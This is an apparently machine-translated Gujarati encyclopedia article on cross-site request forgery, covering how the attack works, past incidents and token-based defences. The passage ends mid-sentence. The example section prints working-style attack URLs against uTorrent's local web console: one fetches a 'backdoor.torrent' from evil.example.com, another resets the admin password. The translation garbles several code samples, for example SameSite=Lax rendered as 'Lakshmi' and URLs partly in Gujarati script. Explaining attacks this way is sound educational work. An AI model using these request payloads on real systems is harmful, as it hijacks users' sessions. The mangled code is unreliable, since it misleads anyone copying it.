Cross-site request forgery
ક્રોસ-સાઇટ વિનંતી બનાવટ, જેને વન-ક્લિક એટેક અથવા સત્ર સવારી તરીકે પણ ઓળખવામાં આવે છે અને સંક્ષિપ્તમાં સી. એસ. આર. એફ. (કેટલીકવાર સી-સર્ફ ઉચ્ચારવામાં આવે છે) અથવા એક્સ. એસ. આર. એફ. તરીકે ઓળખાય છે, તે વેબસાઇટ અથવા વેબ એપ્લિકેશનનું દૂષિત શોષણ છે જ્યાં વપરાશકર્તા પાસેથી અનધિકૃત આદેશો સબમિટ કરવામાં આવે છે જેના પર વેબ એપ્લિકેશન વિશ્વાસ કરે છે. એવી ઘણી રીતો છે કે જેમાં દુર્ભાવનાપૂર્ણ વેબસાઇટ આવા આદેશોને પ્રસારિત કરી શકે છે; ખાસ રચાયેલ છબી ટૅગ્સ, છુપાયેલા સ્વરૂપો, અને જાવાસ્ક્રિપ્ટ મેળવે છે અથવા XMLHttpRequests, ઉદાહરણ તરીકે, બધા વપરાશકર્તાની ક્રિયાપ્રતિક્રિયા અથવા જ્ઞાન વિના પણ કામ કરી શકે છે. ક્રોસ-સાઇટ સ્ક્રિપ્ટીંગ (XSS) થી વિપરીત, જે કોઈ ચોક્કસ સાઇટ માટે વપરાશકર્તાના વિશ્વાસનો ઉપયોગ કરે છે, CSRF વપરાશકર્તાના બ્રાઉઝરમાં સાઇટના વિશ્વાસનો ઉપયોગ કરે છે. સી. એસ. આર. એફ. હુમલામાં, એક નિર્દોષ અંતિમ વપરાશકર્તાને હુમલાખોર દ્વારા વેબ વિનંતી સબમિટ કરવા માટે છેતરવામાં આવે છે જેનો તેમનો ઇરાદો નહોતો. આ વેબસાઇટ પર ક્રિયાઓ કરવાનું કારણ બની શકે છે જેમાં અજાણતાં ક્લાયન્ટ અથવા સર્વર ડેટા લિકેજ, સત્રની સ્થિતિમાં ફેરફાર અથવા અંતિમ વપરાશકર્તાના ખાતામાં હેરફેર શામેલ હોઈ શકે છે. "સી. એસ. આર. એફ". શબ્દનો ઉપયોગ સી. એસ. આર. એફ. હુમલાઓ સામેના બચાવમાં સંક્ષિપ્ત તરીકે પણ થાય છે, જેમ કે એવી તકનીકો કે જે હેડર ડેટા, ફોર્મ ડેટા અથવા કૂકીઝનો ઉપયોગ કરે છે, જેથી આવા હુમલાઓનું પરીક્ષણ કરી શકાય અને તેને અટકાવી શકાય. લાક્ષણિકતાઓ સી. એસ. આર. એફ. હુમલામાં, હુમલાખોરનો ધ્યેય નિર્દોષ પીડિતને અજાણતાં દુર્ભાવનાપૂર્ણ રીતે તૈયાર કરેલી વેબ વિનંતી એવી વેબસાઇટ પર સબમિટ કરવાનું કારણ બને છે કે જેમાં પીડિતને વિશેષાધિકૃત ઍક્સેસ હોય. આ વેબ વિનંતી URL પરિમાણો, કૂકીઝ અને અન્ય ડેટાને સમાવવા માટે તૈયાર કરી શકાય છે જે વિનંતી પર પ્રક્રિયા કરતા વેબ સર્વરને સામાન્ય લાગે છે. જોખમમાં એવી વેબ એપ્લિકેશનો છે જે વપરાશકર્તાને અધિકૃત કરવાની જરૂર વગર વિશ્વસનીય અને પ્રમાણિત વપરાશકર્તાઓ પાસેથી ઇનપુટના આધારે ક્રિયાઓ કરે છે (દા. ત. પોપઅપ પુષ્ટિ દ્વારા) ચોક્કસ ક્રિયા. વપરાશકર્તાના વેબ બ્રાઉઝરમાં સંગ્રહિત કૂકી દ્વારા પ્રમાણિત વપરાશકર્તા અજાણતાં એવી સાઇટ પર HTTP વિનંતી મોકલી શકે છે જે વપરાશકર્તા પર વિશ્વાસ કરે છે અને તેથી અનિચ્છનીય ક્રિયાનું કારણ બને છે. વેબ બ્રાઉઝર્સની સામાન્ય સંપત્તિ એ છે કે તેઓ આપેલા ડોમેન દ્વારા તે ડોમેન પર મોકલવામાં આવેલી કોઈપણ વેબ વિનંતીમાં ઉપયોગમાં લેવાતી કોઈપણ કૂકીઝ (સત્ર કૂકીઝ અને અન્ય સહિત) ને આપમેળે અને અદ્રશ્ય રીતે શામેલ કરશે. આ મિલકતનો ઉપયોગ સી. એસ. આર. એફ. ના હુમલાઓ દ્વારા કરવામાં આવે છે. વપરાશકર્તાને તેમના બ્રાઉઝર દ્વારા અજાણતાં વિનંતી સબમિટ કરવા માટે છેતરવામાં આવે તે ઘટનામાં આ આપમેળે સમાવિષ્ટ કૂકીઝ બનાવટી વિનંતીને વેબ સર્વર પર વાસ્તવિક દેખાશે અને તે ડેટા પરત કરવા, સત્રની સ્થિતિમાં હેરફેર કરવા અથવા પીડિતના ખાતામાં ફેરફારો કરવા સહિત કોઈપણ યોગ્ય રીતે વિનંતી કરેલી ક્રિયાઓ કરશે. સી. એસ. આર. એફ. હુમલાએ કામ કરવા માટે, હુમલાખોરે પુનઃઉત્પાદિત કરી શકાય તેવી વેબ વિનંતીને ઓળખવી આવશ્યક છે જે લક્ષ્ય પૃષ્ઠ પર ખાતાનો પાસવર્ડ બદલવા જેવી ચોક્કસ ક્રિયા કરે છે. એકવાર આવી વિનંતીની ઓળખ થઈ જાય પછી, એક લિંક બનાવી શકાય છે જે આ દૂષિત વિનંતી પેદા કરે છે અને તે લિંક હુમલાખોરના નિયંત્રણમાં પૃષ્ઠ પર એમ્બેડ કરી શકાય છે. આ લિંક એવી રીતે મૂકી શકાય છે કે ભોગ બનનારને લિંક પર ક્લિક કરવાની જરૂર પણ ન પડે. ઉદાહરણ તરીકે, તે પીડિતને મોકલવામાં આવેલા ઇમેઇલ પર એચ. ટી. એમ. એલ. ઇમેજ ટેગમાં એમ્બેડ થઈ શકે છે જે જ્યારે પીડિત તેમનો ઇમેઇલ ખોલશે ત્યારે આપમેળે લોડ થઈ જશે. એકવાર ભોગ બનનાર વ્યક્તિએ લિંક પર ક્લિક કરી લીધા પછી, તેમનું બ્રાઉઝર આપમેળે તે વેબસાઇટ દ્વારા ઉપયોગમાં લેવાતી કોઈપણ કૂકીઝનો સમાવેશ કરશે અને વેબ સર્વરને વિનંતી સબમિટ કરશે. વેબ સર્વર છેતરપિંડીની ઓળખ કરી શકશે નહીં કારણ કે વિનંતી એવા વપરાશકર્તા દ્વારા કરવામાં આવી હતી જેણે લૉગ ઇન કર્યું હતું અને તમામ જરૂરી કૂકીઝ સબમિટ કરી હતી. ક્રોસ-સાઇટ વિનંતી બનાવટ એ વેબ બ્રાઉઝર સામે મૂંઝવણભર્યા નાયબ હુમલાનું ઉદાહરણ છે કારણ કે વેબ બ્રાઉઝરને ઓછા વિશેષાધિકૃત હુમલાખોર દ્વારા બનાવટી વિનંતી સબમિટ કરવા માટે છેતરવામાં આવે છે. સી. એસ. આર. એફ. સામાન્ય રીતે નીચેની લાક્ષણિકતાઓ ધરાવે છેઃ તેમાં એવી સાઇટ્સનો સમાવેશ થાય છે જે વપરાશકર્તાની ઓળખ પર આધાર રાખે છે. તે તે ઓળખમાં સાઇટના વિશ્વાસનો ઉપયોગ કરે છે. તે વપરાશકર્તાના બ્રાઉઝરને લક્ષ્ય સાઇટ પર HTTP વિનંતીઓ મોકલવા માટે યુક્તિ કરે છે જ્યાં વપરાશકર્તા પહેલેથી જ પ્રમાણિત છે. તેમાં HTTP વિનંતીઓનો સમાવેશ થાય છે જેની આડઅસર હોય છે. ઇતિહાસ સી. એસ. આર. એફ. ટોકન નબળાઈઓ જાણીતી છે અને કેટલાક કિસ્સાઓમાં 2001 થી તેનો ઉપયોગ કરવામાં આવે છે. કારણ કે તે વપરાશકર્તાના IP સરનામાથી કરવામાં આવે છે, કેટલાક વેબસાઇટ લોગમાં CSRF નો પુરાવો ન પણ હોઈ શકે. શોષણની ઓછી જાણ કરવામાં આવે છે, ઓછામાં ઓછું જાહેરમાં, અને 2007 સુધીમાં કેટલાક સારી રીતે દસ્તાવેજીકૃત ઉદાહરણો હતાઃ 2006 માં નેટફ્લિક્સ વેબસાઇટમાં સી. એસ. આર. એફ. માટે અસંખ્ય નબળાઈઓ હતી, જે હુમલાખોરને પીડિતની ભાડાની કતારમાં ડીવીડી ઉમેરવા, એકાઉન્ટ પર શિપિંગ સરનામું બદલવા અથવા એકાઉન્ટ સાથે સંપૂર્ણપણે સમાધાન કરવા માટે પીડિતના લૉગિન પ્રમાણપત્રોમાં ફેરફાર કરવા જેવી ક્રિયાઓ કરવાની મંજૂરી આપી શકતી હતી. આઈ. એન. જી. ડાયરેક્ટની ઓનલાઇન બેંકિંગ વેબ એપ્લિકેશન સી. એસ. આર. એફ. હુમલા માટે સંવેદનશીલ હતી જેણે ગેરકાયદેસર નાણાં ટ્રાન્સફરની મંજૂરી આપી હતી. લોકપ્રિય વિડિયો વેબસાઇટ યુટ્યુબ પણ 2008માં સી. એસ. આર. એફ. માટે સંવેદનશીલ હતી અને આ કોઈપણ હુમલાખોરને કોઈપણ વપરાશકર્તાની લગભગ તમામ ક્રિયાઓ કરવાની મંજૂરી આપે છે. મેકાફી સિક્યોર પણ સી. એસ. આર. એફ. માટે સંવેદનશીલ હતું અને તેણે હુમલાખોરોને તેમની કંપની સિસ્ટમ બદલવાની મંજૂરી આપી હતી. આ નવી આવૃત્તિઓમાં સુધારેલ છે. 2018 માં વેબ-સક્ષમ ઉપકરણો સામે નવા હુમલાઓ હાથ ધરવામાં આવ્યા હતા, જેમાં રાઉટર્સની DNS સેટિંગ્સ બદલવાના પ્રયાસોનો સમાવેશ થાય છે. કેટલાક રાઉટર ઉત્પાદકોએ સુરક્ષામાં સુધારો કરવા માટે ઉતાવળમાં ફર્મવેર અપડેટ્સ બહાર પાડ્યા અને વપરાશકર્તાઓને જોખમ ઘટાડવા માટે રાઉટર સેટિંગ્સ બદલવાની સલાહ આપી. "સ્પષ્ટ સુરક્ષા કારણો" ટાંકીને વિગતો જાહેર કરવામાં આવી ન હતી. ઉદાહરણ હુમલાખોરો કે જેઓ પુનઃઉત્પાદનક્ષમ કડી શોધી શકે છે જે લક્ષ્ય પૃષ્ઠ પર ચોક્કસ ક્રિયા કરે છે જ્યારે પીડિત લૉગ ઇન હોય ત્યારે તેઓ નિયંત્રિત પૃષ્ઠ પર આવી લિંકને એમ્બેડ કરી શકે છે અને પીડિતને તેને ખોલવા માટે છેતરી શકે છે. હુમલા વાહક કડી એવા સ્થાન પર મૂકી શકાય છે કે જ્યાં લક્ષ્ય સ્થળ (ઉદાહરણ તરીકે, ચર્ચા મંચ) માં લૉગ ઇન કરતી વખતે પીડિત મુલાકાત લે તેવી શક્યતા છે, અથવા એચટીએમએલ ઇમેઇલ બોડી અથવા જોડાણમાં મોકલવામાં આવી શકે છે. uTorrent (CVE-2008-6586) માં વાસ્તવિક CSRF નબળાઈ એ હકીકતનો ઉપયોગ કરે છે કે લોકલહોસ્ટ પર સુલભ તેના વેબ કન્સોલઃ 8080 એ એક સરળ GET વિનંતીનો ઉપયોગ કરીને નિર્ણાયક ક્રિયાઓને ચલાવવાની મંજૂરી આપીઃ ફોર્સ એ. ટોરન્ટ ફાઇલ ડાઉનલોડ કરો HTTP:// લોકલહોસ્ટઃ 8080/gui/? ક્રિયા = એડ-યુઆરએલ & s = http://evil.example.com/backdoor.torrent યુટોરેન્ટ એડમિનિસ્ટ્રેટર પાસવર્ડ બદલો HTTP:// લોકલહોસ્ટઃ 8080/gui/? ક્રિયા = સેટિંગ & s = webui.password&v=eviladmin ફોરમ અને ઇમેઇલ સ્પામ પર દૂષિત, સ્વચાલિત-ક્રિયા એચટીએમએલ ઇમેજ ઘટકો મૂકીને હુમલાઓ શરૂ કરવામાં આવ્યા હતા, જેથી આ પૃષ્ઠોની મુલાકાત લેનારા બ્રાઉઝર્સ તેમને વધુ વપરાશકર્તા ક્રિયા વિના આપમેળે ખોલશે. આ પૃષ્ઠો ખોલતી વખતે અસુરક્ષિત યુટોરેન્ટ સંસ્કરણ ચલાવતા લોકો હુમલા માટે સંવેદનશીલ હતા. ઇમેજ ટેગનો ઉપયોગ કરીને સી. એસ. આર. એફ. હુમલાઓ ઘણીવાર ઈન્ટરનેટ ફોરમમાંથી કરવામાં આવે છે, જ્યાં વપરાશકર્તાઓને છબીઓ પોસ્ટ કરવાની મંજૂરી હોય છે પરંતુ જાવાસ્ક્રિપ્ટ નહીં, ઉદાહરણ તરીકે બી. બી. સી. કોડનો ઉપયોગ કરીનેઃ [આઈ. એમ. જી.] એચ. ટી. ટી. પી.:// લોકલહોસ્ટઃ 8080/જી. યુ. આઈ./? ક્રિયા = એડ-યુ. આર. એલ. એન્ડ. એસ. = http://evil.example.com/backdoor.torrent [/આઈ. એમ. જી.] જ્યારે સ્થાનિક યુટોરેન્ટ એપ્લિકેશન પર એટેક લિંકને ઍક્સેસ કરે છે, ત્યારે બ્રાઉઝર હંમેશા તે ડોમેન માટે કોઈપણ હાલની કૂકીઝ આપમેળે મોકલશે. વેબ બ્રાઉઝર્સની આ સામાન્ય મિલકત સી. એસ. આર. એફ. હુમલાઓને તેમની લક્ષિત નબળાઈઓનો ઉપયોગ કરવા અને પ્રતિકૂળ ક્રિયાઓ ચલાવવા માટે સક્ષમ બનાવે છે જ્યાં સુધી વપરાશકર્તા હુમલાના સમયે લક્ષ્ય વેબસાઇટ (આ ઉદાહરણમાં, સ્થાનિક યુટોરેન્ટ વેબ ઇન્ટરફેસ) માં લૉગ ઇન હોય. ઉપર વર્ણવેલ uTorrent ઉદાહરણમાં, હુમલાને એ હકીકત દ્વારા સરળ બનાવવામાં આવ્યો હતો કે uTorrent ના વેબ ઇન્ટરફેસે મહત્વપૂર્ણ સ્થિતિ-બદલાતી કામગીરીઓ (ઓળખપત્રો બદલવા, ફાઇલ ડાઉનલોડ કરવા વગેરે) માટે GET વિનંતીનો ઉપયોગ કર્યો હતો. ), જે સ્પષ્ટપણે નિરુત્સાહિત કરે છેઃ આ ધારણાને કારણે, વેબ માળખામાં ઘણી હાલની સી. એસ. આર. એફ. નિવારણ પદ્ધતિઓ જી. ઇ. ટી. વિનંતીઓને આવરી લેશે નહીં, પરંતુ માત્ર એચ. ટી. ટી. પી. પદ્ધતિઓ પર રક્ષણ લાગુ કરશે જેનો હેતુ રાજ્ય-પરિવર્તન કરવાનો છે. બનાવટી પ્રવેશ વિનંતીઓ હુમલાખોરના ઓળખપત્રોનો ઉપયોગ કરીને પીડિતને લક્ષિત વેબસાઇટમાં લૉગ ઇન કરવાની વિનંતી બનાવટી બનાવી શકે છે; આ લોગિન CSRF તરીકે ઓળખાય છે. સી. એસ. આર. એફ. માં પ્રવેશ કરવાથી વિવિધ નવા હુમલાઓ શક્ય બને છે; દાખલા તરીકે, હુમલાખોર પછીથી તેમની કાયદેસરની ઓળખ સાથે સાઇટ પર પ્રવેશ કરી શકે છે અને ખાતામાં સાચવવામાં આવેલી પ્રવૃત્તિ ઇતિહાસ જેવી ખાનગી માહિતી જોઈ શકે છે. આ હુમલો ગૂગલ અને યાહૂ સામે દર્શાવવામાં આવ્યો છે. એચ. ટી. ટી. પી. ક્રિયાપદો અને સી. એસ. આર. એફ. પ્રકાર પર આધાર રાખીને, એચ. ટી. ટી. પી. વિનંતી પદ્ધતિઓ સી. એસ. આર. એફ. હુમલાઓ (વેબ બ્રાઉઝર્સ દ્વારા તેમના સંચાલનમાં તફાવતોને કારણે) પ્રત્યેની તેમની સંવેદનશીલતામાં બદલાય છે. તેથી, હુમલા સામેના રક્ષણાત્મક પગલાં HTTP વિનંતીની પદ્ધતિ પર આધારિત છે. એચટીટીપી જીઈટીમાં સી. એસ. આર. એફ. નું શોષણ તુચ્છ છે, ઉપર વર્ણવેલ પદ્ધતિઓનો ઉપયોગ કરીને, જેમ કે હેરફેર કરેલ પરિમાણો ધરાવતી સરળ હાયપરલિંક અને આપમેળે આઇએમજી ટેગ દ્વારા લોડ થાય છે. જો કે, HTTP સ્પષ્ટીકરણ દ્વારા, GET નો ઉપયોગ સલામત પદ્ધતિ તરીકે થવો જોઈએ, એટલે કે, એપ્લિકેશનમાં વપરાશકર્તાની સ્થિતિમાં નોંધપાત્ર ફેરફાર થતો નથી. આવી કામગીરીઓ માટે GET નો ઉપયોગ કરતી એપ્લિકેશનોએ HTTP POST પર સ્વિચ કરવું જોઈએ અથવા એન્ટી-CSRF સુરક્ષાનો ઉપયોગ કરવો જોઈએ. સી. એસ. આર. એફ. માટે એચ. ટી. ટી. પી. પોસ્ટની નબળાઈ ઉપયોગની સ્થિતિ પર આધાર રાખે છેઃ ક્વેરી સ્ટ્રિંગ (ફિલ્ડ 1 = વેલ્યુ 1 અને ફિલ્ડ 2 = વેલ્યુ 2) તરીકે એન્કોડેડ ડેટા સાથે પોસ્ટના સરળ સ્વરૂપમાં સી. એસ. આર. એફ. એટેક સરળતાથી સરળ એચ. ટી. એમ. એલ. ફોર્મનો ઉપયોગ કરીને લાગુ કરવામાં આવે છે અને એન્ટી-સી. એસ. આર. એફ. પગલાં લાગુ કરવા આવશ્યક છે. જો ડેટા અન્ય કોઈ ફોર્મેટ (JSON, XML) માં મોકલવામાં આવે છે, તો એક પ્રમાણભૂત પદ્ધતિ એ છે કે સમાન-મૂળ નીતિ (SOP) અને ક્રોસ-મૂળ સંસાધન વહેંચણી (CORS) દ્વારા અટકાવવામાં આવેલા CSRF હુમલાઓ સાથે XMLHttpRequest નો ઉપયોગ કરીને પોસ્ટ વિનંતી જારી કરવી; ENCTYPE લક્ષણનો ઉપયોગ કરીને સરળ એચટીએમએલ ફોર્મમાંથી મનસ્વી સામગ્રી મોકલવાની એક તકનીક છે; આવી નકલી વિનંતીને ટેક્સ્ટ/સાદા સામગ્રી પ્રકાર દ્વારા કાયદેસરની વિનંતીઓથી અલગ કરી શકાય છે, પરંતુ જો આ સર્વર પર લાગુ કરવામાં ન આવે, તો CSRF અન્ય HTTP પદ્ધતિઓ (PUT, DELETE વગેરે) ચલાવી શકાય છે. સી. એસ. આર. એફ. ને અટકાવતી સમાન-મૂળ નીતિ (એસ. ઓ. પી.) અને ક્રોસ-ઓરિજિન રિસોર્સ શેરિંગ (સી. ઓ. આર. એસ.) સાથે જ એક્સ. એમ. એલ. એચ. ટી. ટી. પી. રીક્વેસ્ટનો ઉપયોગ કરીને જારી કરી શકાય છે; જોકે આ પગલાં એવી વેબસાઇટ્સ પર સક્રિય રહેશે નહીં કે જે તેમને એક્સેસ-કંટ્રોલ-એલો-ઓરિજિનઃ * હેડરનો ઉપયોગ કરીને સ્પષ્ટપણે નિષ્ક્રિય કરે છે. સી. એસ. આર. એફ. માટે અન્ય અભિગમો વધુમાં, જ્યારે સામાન્ય રીતે સ્થિર પ્રકારના હુમલા તરીકે વર્ણવવામાં આવે છે, ત્યારે સી. એસ. આર. એફ. ને ક્રોસ-સાઇટ સ્ક્રિપ્ટીંગ હુમલા માટે પેલોડના ભાગ રૂપે પણ ગતિશીલ રીતે બનાવી શકાય છે, જેમ કે સામી કૃમિ દ્વારા દર્શાવવામાં આવ્યું છે, અથવા ઓફસાઇટ સામગ્રી દ્વારા લીક થયેલી સત્ર માહિતીમાંથી ફ્લાય પર બાંધવામાં આવે છે અને દૂષિત યુ. આર. એલ. તરીકે લક્ષ્ય પર મોકલવામાં આવે છે. સત્ર ફિક્સેશન અથવા અન્ય નબળાઈઓને કારણે હુમલાખોર દ્વારા ક્લાયન્ટને સી. એસ. આર. એફ. ટોકન પણ મોકલી શકાય છે, અથવા બ્રુટ-ફોર્સ એટેક દ્વારા અનુમાન લગાવી શકાય છે, જે દૂષિત પૃષ્ઠ પર પ્રસ્તુત થાય છે જે હજારો નિષ્ફળ વિનંતીઓ પેદા કરે છે. "ડાયનેમિક સી. એસ. આર. એફ". નો હુમલો વર્ગ, અથવા સત્ર-વિશિષ્ટ બનાવટ માટે પ્રતિ-ક્લાયન્ટ પેલોડનો ઉપયોગ, નેથન હેમિલ અને શોન મોયર દ્વારા 2009 માં બ્લેકહેટ બ્રીફિંગમાં વર્ણવવામાં આવ્યો હતો, જોકે વર્ગીકરણને હજુ સુધી વ્યાપક અપનાવવામાં આવ્યું નથી. ગતિશીલ સી. એસ. આર. એફ. હુમલાઓ રચવા માટે એક નવું વેક્ટર ઓરેન ઓફેર દ્વારા જાન્યુઆરી 2012 માં સ્થાનિક ઓ. ડબલ્યુ. એ. એસ. પી. પ્રકરણની બેઠકમાં રજૂ કરવામાં આવ્યું હતું-"એજેએક્સ હેમર-ડાયનેમિક સી. એસ. આર. એફ".. સી. એસ. આર. એફ. ટોકન નબળાઈઓ માટે અસરો ગંભીરતા મેટ્રિક્સ જારી કરવામાં આવ્યા છે જે રુટ વિશેષાધિકારો સાથે દૂરસ્થ કોડ અમલમાં પરિણમે છે તેમજ એક નબળાઈ છે જે રુટ પ્રમાણપત્ર સાથે સમાધાન કરી શકે છે, જે જાહેર કી માળખાને સંપૂર્ણપણે નબળી પાડશે. મર્યાદાઓ ક્રોસ-સાઇટ વિનંતી બનાવટ સફળ થવા માટે ઘણી વસ્તુઓ થવી પડે છેઃ હુમલાખોરે રેફરર હેડરને તપાસતી ન હોય તેવી સાઇટ અથવા બ્રાઉઝર અથવા પ્લગઇન દ્વારા પીડિતને નિશાન બનાવવું જોઈએ જે રેફરર સ્પૂફિંગને મંજૂરી આપે છે. હુમલાખોરને લક્ષ્ય સ્થળ પર ફોર્મ સબમિશન, અથવા આડઅસરો ધરાવતું યુઆરએલ શોધવું આવશ્યક છે, જે કંઈક કરે છે (દા. ત., નાણાં ટ્રાન્સફર કરે છે, અથવા પીડિતનું ઈ-મેલ સરનામું અથવા પાસવર્ડ બદલે છે). હુમલાખોરે તમામ સ્વરૂપો અથવા યુઆરએલ ઇનપુટ્સ માટે યોગ્ય મૂલ્યો નક્કી કરવા જોઈએ; જો તેમાંના કોઈપણ ગુપ્ત પ્રમાણીકરણ મૂલ્યો અથવા આઇડી હોવા જરૂરી છે જે હુમલાખોર અનુમાન કરી શકતો નથી, તો હુમલો મોટાભાગે નિષ્ફળ જશે (જ્યાં સુધી હુમલાખોર તેમના અનુમાનમાં અત્યંત નસીબદાર ન હોય). હુમલાખોરે પીડિતને દુર્ભાવનાપૂર્ણ કોડ સાથે વેબ પેજ પર લલચાવવું જોઈએ જ્યારે પીડિત લક્ષ્ય સાઇટમાં લૉગ ઇન થાય છે. હુમલો અંધ છેઃ હુમલાખોર જોઈ શકતો નથી કે લક્ષ્ય વેબસાઇટ બનાવટી વિનંતીઓના જવાબમાં પીડિતને શું મોકલે છે, સિવાય કે તેઓ લક્ષ્ય વેબસાઇટ પર ક્રોસ-સાઇટ સ્ક્રિપ્ટીંગ અથવા અન્ય બગનો ઉપયોગ કરે. તેવી જ રીતે, હુમલાખોર કોઈપણ લિંક્સને નિશાન બનાવી શકે છે અથવા પ્રારંભિક બનાવટી વિનંતી પછી આવતા કોઈપણ ફોર્મ સબમિટ કરી શકે છે જો તે પછીની લિંક્સ અથવા ફોર્મ્સ સમાન રીતે અનુમાનિત હોય. (પૃષ્ઠ પર બહુવિધ છબીઓનો સમાવેશ કરીને અથવા ક્લિક વચ્ચે વિલંબ દાખલ કરવા માટે જાવાસ્ક્રિપ્ટનો ઉપયોગ કરીને બહુવિધ લક્ષ્યાંકોનું અનુકરણ કરી શકાય છે.) મોટાભાગની સી. એસ. આર. એફ. નિવારણ તકનીકો વિનંતીઓમાં વધારાના પ્રમાણીકરણ ડેટાને એમ્બેડ કરીને કામ કરે છે જે વેબ એપ્લિકેશનને અનધિકૃત સ્થાનોમાંથી વિનંતીઓ શોધવાની મંજૂરી આપે છે. સિંક્રોનાઇઝર ટોકન પેટર્ન સિંક્રોનાઇઝર ટોકન પેટર્ન (એસ. ટી. પી.) એ એક એવી તકનીક છે જ્યાં ટોકન, દરેક વિનંતી માટે એક ગુપ્ત અને અનન્ય મૂલ્ય, વેબ એપ્લિકેશન દ્વારા તમામ એચ. ટી. એમ. એલ. સ્વરૂપોમાં એમ્બેડ કરવામાં આવે છે અને સર્વર બાજુ પર ચકાસવામાં આવે છે. ટોકન કોઈપણ પદ્ધતિ દ્વારા પેદા થઈ શકે છે જે અણધારીતા અને વિશિષ્ટતાની ખાતરી આપે છે (દા. ત. રેન્ડમ બીજની હેશ સાંકળનો ઉપયોગ કરીને). આમ હુમલાખોર તેમને પ્રમાણિત કરવા માટે તેમની વિનંતીઓમાં સાચું ટોકન મૂકવામાં અસમર્થ છે. એચ. ટી. એમ. એલ. સ્વરૂપમાં જાંગો દ્વારા સેટ કરાયેલ એસ. ટી. પી. નું ઉદાહરણ છેઃ <ઇનપુટ પ્રકાર = "છુપાયેલ" નામ = "સી. એસ. આર. એફ. મિડલવેરટોકેન" મૂલ્ય = "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"/> એસ. ટી. પી. સૌથી સુસંગત છે કારણ કે તે ફક્ત એચ. ટી. એમ. એલ. પર આધાર રાખે છે, પરંતુ દરેક વિનંતી પર ટોકનની માન્યતાની તપાસ સાથે સંકળાયેલ બોજને કારણે સર્વર બાજુ પર થોડી જટિલતા રજૂ કરે છે. ટોકન અનન્ય અને અણધારી હોવાથી, તે ઘટનાઓનો યોગ્ય ક્રમ પણ લાગુ કરે છે (દા. ત. સ્ક્રીન 1, પછી 2, પછી 3) જે ઉપયોગીતા સમસ્યા ઉભી કરે છે (દા. ત. વપરાશકર્તા બહુવિધ ટૅબ્સ ખોલે છે). વિનંતી દીઠ સી. એસ. આર. એફ. ટોકનને બદલે સત્ર દીઠ સી. એસ. આર. એફ. ટોકનનો ઉપયોગ કરીને તેને હળવું કરી શકાય છે. કૂકી-ટુ-હેડર ટોકન વેબ એપ્લિકેશન્સ કે જે તેમની મોટાભાગની કામગીરી માટે જાવાસ્ક્રિપ્ટનો ઉપયોગ કરે છે તે નીચેની એન્ટી-સી. એસ. આર. એફ. તકનીકનો ઉપયોગ કરી શકે છેઃ સંકળાયેલ સર્વર સત્ર વિના પ્રારંભિક મુલાકાત વખતે, વેબ એપ્લિકેશન કૂકી સેટ કરે છે. કૂકીમાં સામાન્ય રીતે રેન્ડમ ટોકન હોય છે જે વેબ સત્ર સેટ-કૂકીના જીવનકાળ સુધી સમાન રહી શકે છેઃ _ _ હોસ્ટ-csrf _ ટોકન = i8XNjC4b8KVok4uw5RftR38Wgp2Bfwql; એક્સપાયર્સ = થુ, 23-જુલાઈ 2015 10:25:33 GMT; મેક્સ-એજ = 31449600; પાથ =/; સેમસાઈટ = લક્ષ્મી; ક્લાયન્ટ બાજુએ કાર્યરત સિક્યોર જાવાસ્ક્રિપ્ટ તેની કિંમત વાંચે છે અને તેને દરેક ટ્રાન્ઝેક્શનલ વિનંતી X-Csrf-ટોકન સાથે મોકલવામાં આવેલ કસ્ટમ HTTP હેડરમાં કોપી કરે છેઃ i8XNjC4b8KVok4uw દુષ્ટ ફાઇલ અથવા ઇમેઇલમાંથી ચાલતી જાવાસ્ક્રિપ્ટ કસ્ટમ હેડરમાં નકલ કરવા માટે કૂકી મૂલ્યને સફળતાપૂર્વક વાંચી શકશે નહીં. તેમ છતાં કૂકી આપમેળે દુષ્ટ વિનંતી સાથે મોકલવામાં આવી શકે છે, કૂકીઝ સેમસાઈટ નીતિને આધિન, સર્વર હજી પણ માન્ય હેડરની અપેક્ષા રાખશે. સી. એસ. આર. એફ. ટોકન પોતે અનન્ય અને અણધારી હોવું જોઈએ. તે અવ્યવસ્થિત રીતે જનરેટ થઈ શકે છે, અથવા તે HMAC નો ઉપયોગ કરીને સત્ર ટોકનમાંથી મેળવવામાં આવી શકે છેઃ csrf _ tocken = HMAC (સત્ર _ tocken, એપ્લીકેશન _ સિક્રેટ) CSRF ટોકન કૂકીમાં HTTPOnly ફ્લેગ હોવો જોઈએ નહીં, કારણ કે તે જાવાસ્ક્રિપ્ટ દ્વારા ડિઝાઇન દ્વારા વાંચવાનો હેતુ ધરાવે છે. આ તકનીક ઘણા આધુનિક માળખાઓ દ્વારા લાગુ કરવામાં આવે છે, જેમ કે જાંગો અને એંગ્યુલરજેએસ. કારણ કે ટોકન સમગ્ર વપરાશકર્તા સત્રમાં સતત રહે છે, તે એ. જે. એ. એક્સ. કાર્યક્રમો સાથે સારી રીતે કામ કરે છે, પરંતુ વેબ કાર્યક્રમોમાં ઘટનાઓના ક્રમને લાગુ કરતું નથી. જો લક્ષિત વેબસાઇટ નીચેની તકનીકોમાંથી કોઈ એકનો ઉપયોગ કરીને તેની સમાન મૂળની નીતિને અક્ષમ કરે તો આ તકનીક દ્વારા પ્રદાન કરવામાં આવતી સુરક્ષાને નિષ્ફળ બનાવી શકાય છેઃ સિલ્વરલાઈટ કંટ્રોલ્સ ફાઇલને અનિચ્છનીય ઍક્સેસ આપતી ફાઇલ ફ્લેશ મૂવીઝને અનિચ્છનીય ઍક્સેસ આપે છે ડબલ સબમિટ કૂકી એ જ રીતે કૂકી-ટુ-હેડર અભિગમ માટે, પરંતુ જાવાસ્ક્રિપ્ટને સામેલ કર્યા વિના, સાઇટ કૂકી તરીકે CSRF ટોકન સેટ કરી શકે છે, અને તેને દરેક એચટીએમએલ સ્વરૂપમાં છુપાયેલા ક્ષેત્ર તરીકે પણ દાખલ કરી શકે છે. જ્યારે ફોર્મ સબમિટ કરવામાં આવે છે, ત્યારે સાઇટ ચકાસી શકે છે કે કૂકી ટોકન ફોર્મ ટોકન સાથે મેળ ખાય છે. સમાન મૂળની નીતિ હુમલાખોરને લક્ષ્ય ડોમેન પર કૂકીઝ વાંચવાથી અથવા સેટ કરવાથી અટકાવે છે, તેથી તેઓ તેમના રચાયેલ સ્વરૂપમાં માન્ય ટોકન મૂકી શકતા નથી. સિંક્રોનાઇઝર પેટર્ન પર આ તકનીકનો ફાયદો એ છે કે ટોકનને સર્વર પર સંગ્રહિત કરવાની જરૂર નથી. સેમસાઈટ કૂકી વિશેષતા જ્યારે સર્વર કૂકી સેટ કરે છે ત્યારે વધારાના 